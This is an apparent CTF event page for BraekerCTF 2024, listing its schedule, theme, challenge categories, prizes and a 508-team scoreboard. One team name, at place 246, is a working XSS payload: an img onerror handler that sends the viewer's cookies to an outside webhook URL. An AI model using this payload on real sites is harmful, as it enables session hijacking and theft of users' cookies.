Fri, 23 Feb. 2024, 12:00 UTC — Sat, 24 Feb. 2024, 16:00 UTC 

On-line

BraekerCTF event.

Format: Jeopardy Jeopardy

Official URL: https://github.com/spipm/BraekerCTF_2024_public

This event's future weight is subject of public voting!

Future weight: 24.70 

Rating weight: 24.70 

Event organizers 

The CTF is over! Thanks to everyone for playing. See the following link for challenge source code and background information:

https://github.com/spipm/BraekerCTF_2024_public/

Original text:

Come and join this jeopardy-style hacking competition. Solve fresh hacking puzzles, learn new skills and have fun doing it. It is the first time we host this CTF, so join us and win prizes!

Hang out on Discord: https://discord.gg/txANaaygJe

Theme: Robot society has taken over. You're exploring, meeting bots, exchanging ideas and helping them find meaning and direction in this weird world they're building.

Challenges are divided in categories:
- Crypto / Hashcracking
- Programming / Misc
- Webservices
- Binaries / Reversing

There should be something in it for everyone, as difficulty levels range from easy to hard.

Prizes

1st: €769
2nd: €539
3rd: €151

Scoreboard

508 teams total

PlaceTeamCTF pointsRating points
1 thehackerscrew 3891.00049.400
2 KITCTF 3306.00033.336
3 TeamMidwayAtoll 2966.00027.061
4 BKISC 2146.00019.798
5 L3ak 2056.00017.991
6 bronson113 1966.00016.597
7 Oppida 1856.00015.310
8 CyberSpace 1766.00014.298
9 lydxn 1696.00013.511
10 Blue Hens 1666.00013.046
11 Pixel Perfect 1615.00012.497
12 zeropage 1500.00011.580
13 RUSEC 1406.00010.825
14 SuperUserDone 1316.00010.118
15 Timmahhh 1296.0009.874
16 b01lers 1256.0009.517
17 Bog Dan 1206.0009.109
18 SNI 1196.0008.964
19 Ketasaurus 1156.0008.638
20 cunguk 1156.0008.573
21 FirewallFoxes 1150.0008.476
22 Wani Hackase 1150.0008.423
23 Fidethus 1050.0007.739
24 Guest Administrators 1021.0007.510
25 Thread in the Needle 1016.0007.438
26 UVT-CTF 1000.0007.298
27 Nol3ptr 1000.0007.263
28 decipher 1000.0007.230
29 abbabaab 1000.0007.200
30 Claquettes Chaussettes 991.0007.114
31 HCS 956.0006.865
32 BITSkrieg 950.0006.802
33 bruhopen 950.0006.779
34 Glow in the Dark Gang 950.0006.757
35 NoCLB 950.0006.736
36 TeamCC 950.0006.717
37 PwnSec 946.0006.673
38 JumpingCats4000 931.0006.560
39 Hackiit 915.0006.442
40 ????? 906.0006.369
41 jy 900.0006.316
42 hoge 900.0006.301
43 DIG174L 900.0006.288
44 0xE0F 856.0005.995
45 YMD_HK 850.0005.945
46 we<3python 850.0005.933
47 ByteSmashers 846.0005.896
48 T5F3C7 841.0005.853
49 Davidpb 806.0005.621
50 Caliphal Hounds 800.0005.572
51 A 800.0005.563
52 bi0sblr 800.0005.553
53 T34M_M4CR0S 790.0005.481
54 stuffs 775.0005.377
55 0xAEA 765.0005.305
56 0xFFF 761.0005.272
57 minipif 706.0004.915
58 kernelmethod 700.0004.869
59 1nf1n1ty 700.0004.862
60 TahSec 700.0004.855
61 hack^3 700.0004.849
62 Carixo 700.0004.842
63 err:404-NameNotFound 690.0004.772
64 Huntik 690.0004.766
65 CyberLimoux 690.0004.760
66 Norske Nøkkelsnikere 675.0004.659
67 Sloppy Joe Pirates 656.0004.533
68 CTF_assassins 650.0004.489
69 GambozinoHunters 650.0004.484
70 SecDre 650.0004.479
71 Alp_4_caS 640.0004.411
72 The_Better_Red_Flags 625.0004.311
73 CSECGroup 615.0004.242
74 GamwTinPatra 610.0004.206
75 bug_destroy_us 610.0004.202
76 yeeb0iz 606.0004.172
77 H4ckan3derl1 600.0004.130
78 竹狐 600.0004.125
79 die_trying 600.0004.121
80 CSI-CSTJEAN 600.0004.118
81 x0rc3r3rs 600.0004.114
82 Aft3r_7h0ugh7 550.0003.793
83 [email protected] 550.0003.789
84 Triple Triple 550.0003.785
85 XORchestra 550.0003.782
86 Wanted 550.0003.779
87 HackerSir 550.0003.775
88 Aurora Swarm 550.0003.772
89 MatavieHash 550.0003.769
90 k1r170 550.0003.766
91 LutaNaRyj 550.0003.763
92 Cyber Rangers 550.0003.760
93 reCAPTCHA the Flag 550.0003.757
94 twc 550.0003.754
95 EVRTS 550.0003.751
96 knights 550.0003.749
97 Ireland without the RE 550.0003.746
98 streaker 550.0003.743
99 paparatz' kvetka 546.0003.715
100 HIFIRUSH 541.0003.681
101 h4ck3r^3 540.0003.672
102 soothers 540.0003.670
103 QuantumSecuritySquad 540.0003.668
104 4n6 540.0003.665
105 sayonara 540.0003.663
106 Langskip 540.0003.661
107 _LEET_ 525.0003.564
108 CASCO 515.0003.498
109 b1p0lyar0chk@ 510.0003.464
110 Trustable 510.0003.462
111 HorseSteppin 510.0003.460
112 Hopper's Roppers 500.0003.395
113 Chocolitos del Tiempo 500.0003.393
114 Goodwill Mischief 500.0003.391
115 ALATOO 490.0003.325
116 womb_fracture 485.0003.292
117 FnA 466.0003.169
118 Lumorons 455.0003.098
119 Daddel92 450.0003.064
120 Mom`s_Heckers 450.0003.062
121 krauq 450.0003.061
122 membersArray 450.0003.059
123 SPACE 450.0003.057
124 definit 450.0003.056
125 FPUSEC 450.0003.054
126 im alive but im dead 450.0003.053
127 Ag!rB@SHliL3r 435.0002.956
128 Weak But Leet 425.0002.891
129 Cryptonite 406.0002.769
130 unblvr 400.0002.729
131 CamelRiders 400.0002.728
132 QuackHack 400.0002.726
133 l0st_4ll_h0p3 400.0002.725
134 Hjarterhex 400.0002.724
135 GopiBahu 400.0002.722
136 CKB_174 400.0002.721
137 Hack It Braw! 400.0002.719
138 YCF 400.0002.718
139 Mast3rChief 400.0002.717
140 error_404 400.0002.716
141 aaaaaaaaaasdf 400.0002.714
142 eagle_fang 400.0002.713
143 Сrant 400.0002.712
144 UMDCSEC 400.0002.711
145 NULL Life 390.0002.646
146 HexHunters 390.0002.645
147 V3n0m.py 390.0002.644
148 fishfish 390.0002.643
149 Pink Sparkly Unicorns 390.0002.641
150 Salesky Security 385.0002.609
151 Life 385.0002.608
152 Snoo.py 385.0002.606
153 mimicats 385.0002.605
154 INVALID_TEAM 385.0002.604
155 No Man's Root 375.0002.540
156 ~~BLANC~~ 375.0002.539
157 KHASCyber 375.0002.538
158 BinaryNinjas 375.0002.537
159 PrivateUser 375.0002.536
160 CyberJanitorial 375.0002.535
161 Maultaschen 375.0002.534
162 0x4py 370.0002.501
163 abc 365.0002.469
164 spyd3rs 365.0002.468
165 MQCybersec 365.0002.467
166 __No0♭__ 365.0002.466
167 WannaLrn 365.0002.465
168 Hawaii22 365.0002.464
169 Y0U.hav3.b3En.pwn3D 360.0002.431
170 cozybear 360.0002.431
171 古い世代 335.0002.271
172 セキュリティーパック 306.0002.086
173 NMB unit 6l 306.0002.085
174 PageFault 306.0002.084
175 Tester 300.0002.046
176 DevOps 600k 300.0002.045
177 Hack@Sec 300.0002.044
178 qaz0 300.0002.043
179 0x1622 300.0002.042
180 N00b 300.0002.042
181 Cyberclowns 300.0002.041
182 brucel33t 300.0002.040
183 CreepsBZH 300.0002.039
184 not4points 300.0002.039
185 HNN4ABO 300.0002.038
186 sys0wn 300.0002.037
187 crampting 300.0002.036
188 @1PH4 300.0002.036
189 [email protected] 300.0002.035
190 QUTWHITEHATS 300.0002.034
191 Cyber Salmons 300.0002.034
192 c00c00 255.0001.747
193 5Minutes 250.0001.715
194 DDLJ 250.0001.714
195 Breakers !! 250.0001.714
196 KerKerYuan 250.0001.713
197 Kongens Skids 250.0001.712
198 Whisky Wired 250.0001.712
199 InfernoSAlex 250.0001.711
200 Sakana 250.0001.710
201 n00brival 250.0001.710
202 dedede 250.0001.709
203 wo1w 250.0001.709
204 DegenB 250.0001.708
205 practicaltacocat 250.0001.707
206 MNIK 250.0001.707
207 Imagine Losing :( 250.0001.706
208 Sputnik 250.0001.706
209 Trung Tâm Tìm Lỗi Lậu Hải Ngoại 250.0001.705
210 Firewall Force 250.0001.705
211 WombatMech 250.0001.704
212 Slt3brgr 250.0001.704
213 kkk 250.0001.703
214 brick 250.0001.702
215 ZIT 250.0001.702
216 _kingofduck_ 250.0001.701
217 Zlick3r 250.0001.701
218 Tinfoil Hats 250.0001.700
219 4ryu 246.0001.674
220 B1u3_W4t3r5 240.0001.636
221 ST09 240.0001.635
222 KZTeam 240.0001.635
223 HackUTT 240.0001.634
224 Porg Pwn Platoon 240.0001.634
225 team_leyla 240.0001.633
226 traz 235.0001.601
227 Cheshire and uncles 235.0001.601
228 Bruhd 235.0001.600
229 f4n_n3r0 235.0001.600
230 stdnoerr 235.0001.599
231 Mager Sec (mtm.id) 235.0001.599
232 k0kos 235.0001.598
233 299 235.0001.598
234 k1lly 225.0001.534
235 Swanton 225.0001.533
236 we <3 m1lf$ 225.0001.533
237 sk1d_s3c 225.0001.533
238 Moeses 225.0001.532
239 b0tin9 225.0001.532
240 dump 225.0001.531
241 lonelone 220.0001.499
242 kw4ntum 220.0001.499
243 gerbster 220.0001.498
244 |3r0th3r CC 220.0001.498
245 sad 215.0001.466
246 <img src=x onerror='document.location=`https://webhook.site/bcc84ed0-6c4b-4411-99e9-9d37f1f21917?${document.cookie}`'> 210.0001.433
247 Threelagoon 210.0001.433
248 FITSEC 200.0001.369
249 NotMyFace 200.0001.369
250 NYUSEC 200.0001.368
251 A1uCA3d 195.0001.336
252 GC0D3S 185.0001.272
253 CocoLaitLaptite 185.0001.272
254 sleepyz 170.0001.176
255 Monkey squad 1000 161.0001.119
256 solo-ashfaq 156.0001.087
257 TheFlash2k 156.0001.086
258 itsnotagame 156.0001.086
259 acdwas 156.0001.086
260 Emu Exploit 156.0001.085
261 Loller 156.0001.085
262 defenetlynotspyinghints 155.0001.078
263 premiumvipteam 150.0001.046
264 DƎDSEC 150.0001.046
265 BBHX 150.0001.045
266 uhyeah 150.0001.045
267 solokia 150.0001.045
268 寺Q热逖 150.0001.044
269 2BrosWithNoHoes 150.0001.044
270 TuxPwners 150.0001.044
271 n0dups 150.0001.043
272 ins0m1a_Øwls 150.0001.043
273 D4ck3n 150.0001.043
274 MAGNET1C H1LLS 150.0001.042
275 lolblat 150.0001.042
276 Ng00m4lDhuhr 150.0001.042
277 816F15H 150.0001.041
278 ss 150.0001.041
279 sahf 150.0001.041
280 Katipwnan 150.0001.040
281 LoremIpsum 150.0001.040
282 nolang 150.0001.040
283 ST3P 150.0001.039
284 Wh!teH@ts 150.0001.039
285 JustChilling 150.0001.039
286 Owl Hackers 150.0001.039
287 0ut51d3r5 150.0001.038
288 MHNam 150.0001.038
289 참이슬 150.0001.038
290 RabbitsFromHell 150.0001.037
291 JustSomeGuy 150.0001.037
292 Immature Monster 150.0001.037
293 hkhlosd 150.0001.036
294 WeUseBing! 150.0001.036
295 B1str0M4th 150.0001.036
296 BASH Bois 150.0001.036
297 avy 150.0001.035
298 AUCC 150.0001.035
299 JiEs|vim>nano 150.0001.035
300 Hash Cracking Slasher 150.0001.035
301 Kakashi 150.0001.034
302 e building esports 150.0001.034
303 Stains 150.0001.034
304 kai 150.0001.033
305 foy 150.0001.033
306 Teorxiro 150.0001.033
307 CPCSEC 150.0001.033
308 Rootmont 150.0001.032
309 Team_not_found 150.0001.032
310 dystopian 150.0001.032
311 1337b33f 150.0001.032
312 haha123 150.0001.031
313 Planty 150.0001.031
314 hjbdos 150.0001.031
315 0 to 1000 150.0001.031
316 reddredd 150.0001.030
317 B1tWise 150.0001.030
318 tejuino 150.0001.030
319 kanon 150.0001.030
320 Kiwi 150.0001.029
321 bewhite 150.0001.029
322 nobletiger 150.0001.029
323 Athena 150.0001.029
324 AAAA 150.0001.028
325 ThunderCipher 150.0001.028
326 etc2020 150.0001.028
327 WCSC_knuckleheads 150.0001.028
328 echo 'hello world' 150.0001.028
329 SEC@UWP 150.0001.027
330 PecutMecut 150.0001.027
331 skibidi 150.0001.027
332 CHRISCHRIS 150.0001.027
333 AmTrain 150.0001.026
334 exec 150.0001.026
335 poba 150.0001.026
336 0nePadding 150.0001.026
337 Cooper 150.0001.025
338 systemctf 150.0001.025
339 5p1cy 140.0000.962
340 johyy 140.0000.961
341 frygirl 140.0000.961
342 WA1FU.H298RZ 135.0000.929
343 BustedBoobies 135.0000.929
344 l4sh 125.0000.865
345 gg0h 125.0000.865
346 Sk4r 110.0000.770
347 What's A Terminal 100.0000.706
348 BraekerDevs 100.0000.706
349 Architect System Team 100.0000.706
350 DarkBuggers 100.0000.705
351 zxcvbnm 100.0000.705
352 Flambos 100.0000.705
353 Chadkqeee 100.0000.705
354 SalomUZ 100.0000.705
355 MyNameIsJeff 100.0000.704
356 [email protected] 100.0000.704
357 p00k1e 100.0000.704
358 SoloMighty 100.0000.704
359 Firewall Force (BE) 100.0000.704
360 Cipher Blitz 100.0000.703
361 Ludwig 100.0000.703
362 4seasons 100.0000.703
363 0bug 100.0000.703
364 TeamHash1ra 100.0000.703
365 City F Pressa 100.0000.702
366 Sama takaya 100.0000.702
367 Caos 100.0000.702
368 ind3x 100.0000.702
369 LLL 100.0000.702
370 herta enjoyer 100.0000.702
371 ph1sher 100.0000.701
372 AssnDarkX 100.0000.701
373 PracticeTeam 100.0000.701
374 Normal 100.0000.701
375 Code_Alchemist 100.0000.701
376 Jurbas 100.0000.700
377 DigitalHeros 100.0000.700
378 J0ck3r:) 100.0000.700
379 WannaBEE 100.0000.700
380 igniteYSU 100.0000.700
381 solo_leveling 100.0000.700
382 xD 100.0000.699
383 ancd 100.0000.699
384 Team NL 100.0000.699
385 team name 100.0000.699
386 Tachyon 100.0000.699
387 thestranger 100.0000.699
388 N4z1m 100.0000.698
389 Poison berries 100.0000.698
390 JordanShell 100.0000.698
391 0Ut51D3rS 100.0000.698
392 Cyb3r_p1r@t3$ 100.0000.698
393 odiouschipmunk 100.0000.698
394 개인주의 100.0000.697
395 sda1 100.0000.697
396 Shuit 100.0000.697
397 demoxo 100.0000.697
398 k1tt3n5 100.0000.697
399 Meta4 100.0000.697
400 MK37 95.0000.665
401 CIGAN 95.0000.665
402 Tuc_N00b 90.0000.633
403 nopwn 90.0000.633
404 daskjfklasdjfkl 90.0000.632
405 Rudra 90.0000.632
406 amyrahm 90.0000.632
407 R4nd0m B00l5h33t5 G0 90.0000.632
408 ENSO 90.0000.632
409 C4t_J(_)n10r 90.0000.632
410 Emanresu574 90.0000.632
411 PhuongHoang 90.0000.631
412 tony.stack 85.0000.600
413 X@k3R v R3k@X 85.0000.599
414 whilefalsebr8 85.0000.599
415 R3BEL5 85.0000.599
416 KMCS3 85.0000.599
417 Gang de la Sinfonia 85.0000.599
418 Elmo 85.0000.599
419 tlab 85.0000.599
420 testtest 85.0000.598
421 1 85.0000.598
422 heapx 85.0000.598
423 bilan 85.0000.598
424 BeyondRCE 85.0000.598
425 GGG 85.0000.598
426 meow 85.0000.598
427 TBD 85.0000.597
428 xxx 85.0000.597
429 monomono 85.0000.597
430 grzybek7 85.0000.597
431 4dlulz 85.0000.597
432 ByteF1r3 85.0000.597
433 PineApple 85.0000.597
434 BIRDrone 85.0000.596
435 FlagBaking 85.0000.596
436 lords_of_pwn 85.0000.596
437 tatifes 85.0000.596
438 AreD@Yush? 85.0000.596
439 5p4c3 C415 75.0000.532
440 4919 75.0000.532
441 e4m 75.0000.532
442 XOR 75.0000.532
443 P1R473_047 75.0000.532
444 light_team 75.0000.532
445 HisWoo 75.0000.532
446 Team-Fuze 75.0000.531
447 RipperZoid 75.0000.531
448 Zer0Gr2vity 75.0000.531
449 Under The Deep 75.0000.531
450 Rocket Rooks 75.0000.531
451 soala gogo 75.0000.531
452 M04se 75.0000.531
453 ascs 75.0000.531
454 aisykaccc 75.0000.531
455 EzFlag 75.0000.530
456 atkinsons 75.0000.530
457 MentalIllness 75.0000.530
458 theNewTeam 75.0000.530
459 Snapslone 75.0000.530
460 waguwagu 75.0000.530
461 Wolves 75.0000.530
462 Tom&Jerry 75.0000.530
463 y3oreum 75.0000.529
464 dfgdfggdfdgf 75.0000.529
465 hieudv 75.0000.529
466 TheFourRealNinjaTurtles 75.0000.529
467 Winners? 70.0000.497
468 Amore 70.0000.497
469 3xf1ltr4t10n_0f_nud3s 70.0000.497
470 H7Tex 70.0000.497
471 d43m0n5 70.0000.497
472 myst3r10us 70.0000.497
473 Team10 70.0000.497
474 germs 70.0000.496
475 SyenaTeam 70.0000.496
476 lm7laba 70.0000.496
477 bk 70.0000.496
478 Pyxidis 70.0000.496
479 B3st Hackerman 60.0000.432
480 SunnyBunny 60.0000.432
481 10taskas0 60.0000.432
482 TKCTF-club 60.0000.432
483 _Mugiwara_ 60.0000.432
484 12341234 60.0000.432
485 SecJouy 60.0000.432
486 kosongan di meja makan 60.0000.432
487 NASONAFNAF 60.0000.432
488 ghidra_pro 60.0000.431
489 7afouzli9 60.0000.431
490 xSTF 60.0000.431
491 sukakuki 50.0000.368
492 GG 50.0000.368
493 dafs 45.0000.336
494 PWRippers 45.0000.336
495 provolone 45.0000.336
496 snick 35.0000.272
497 aabb123 35.0000.272
498 nonteadf 35.0000.272
499 LetterBee 35.0000.272
500 no 35.0000.272
501 catherinthegreat 30.0000.240
502 St4rDust 30.0000.240
503 forhint 20.0000.176
504 stayhomedofrog 20.0000.176
505 qu77 20.0000.176
506 Gastric Juices 20.0000.176
507 hahahahhaha 15.0000.144
508 Hmmmm 5.0000.040
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